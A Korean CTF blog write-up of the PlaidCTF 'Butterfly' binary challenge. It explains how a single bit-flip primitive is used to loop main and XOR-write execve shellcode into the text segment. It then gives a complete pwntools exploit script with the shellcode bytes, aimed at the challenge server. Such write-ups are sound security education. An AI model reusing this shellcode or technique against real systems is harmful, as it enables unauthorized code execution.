튜기's blogggg

PCTF Butterfly writeup

by St1tch



헥스레이 결과를 토대로 문제를 살펴보면 위 그림에서 첫번째 mprotect함수가 실행되고 두번째 mprotect함수가 실행되기 전에 

사용자가 원하는 주소의 한바이트를 바꿀 수 있는 취약점이 있다.


이를 이용해서 공격을 해야하는데 한바이트만 바꿔서는 딱히 방법이없다.

그리고 aslr이 적용되어 있기때문에 고정된 주소를 이용해서 공격을 해야한다.


우선 첫번째로 함수가 바로 끝나지 않게 트리거를 시켜줄 주소를 정해서 바이트를 수정한 뒤, 

적당한 주소에 쉘코드를 넣고, 다 넣은후에는 다시 쉘코드가 있는 주소를 call할 수있게끔 바이트를 수정하면 쉘코드를 실행할 수 있다.




0x400860에 add rsp, 0x48 이 있는데 

rsp에는 입력한 값이 저장이 된다.

따라서 오퍼랜드 값을 작게 바꿔주면 rip를 조정 할 수 있다.

이를 통해 main의 시작점으로 트리거 시켜 계속 함수를 실행시킬 수 있다.


그리고 난 후 적당한 위치에 쉘코드를 넣어준다.

여기서 쉘코드를 넣는 방법은 원래 text영역에 있는 값과 쉘코드를 한바이트씩 xor한다.

여기서 xor한 결과는 원래있던값과 쉘코드의 bit차이이다.

따라서 bit가 1인값들은 모두 0으로 바꾸어 줘야 쉘코드로 바꿀 수 있다.


ex ) 10110(원래있던값) ^ 11111(바꿀 값) -> 1001

10110 ^ 0001 -> 10111

           10111 ^ 1000 -> 11111(바꿀값)


이런식으로 한 바이트씩 비트계산을 해서 쉘코드를 넣어주면 된다.



쉘코드의 위치는 call 가능한 위치에 넣고 쉘코드를 다 넣은 후, 적당한 call명령어의 오퍼랜드를 바꿔도 되고,

이 문제에서는 perror 부분에 overwrite해도 상관이 없다.

따라서 쉘코드를 다 넣고, perror부분으로 분기하도록 하면 쉘코드가 실행된다.




from pwn import *

def pay(num) :
	main = 0x400788
	payload  = str(num)
	payload += 'Z' * (40-len(payload)) #dummy
	payload += p64(main)
	return payload

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

origin = p64(0xfdfbe800400942bf)+p64(0x40094cbfd6ebffff)+p64(0xcaebfffffdefe800)+p64(0x841f0ffffffd88e8)+p64(0x4157410000000000)

flips = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(shellcode, origin)])

s = remote('butterfly.pwning.xxx', 9999)

#eip control
s.recvuntil('?')
s.sendline(pay((0x400863 << 3) + 6))

target = 0x40086B
#overwrite shellcode
for i, x in enumerate(flips) :
	for j in range(8) :
		if ord(x) & (1 << j) :
			tmp = pay( ((target + i) << 3) + j)
			s.recvuntil('?')
			s.sendline(tmp)

s.recvuntil('?')
s.sendline('exploit!!')

s.interactive()











블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기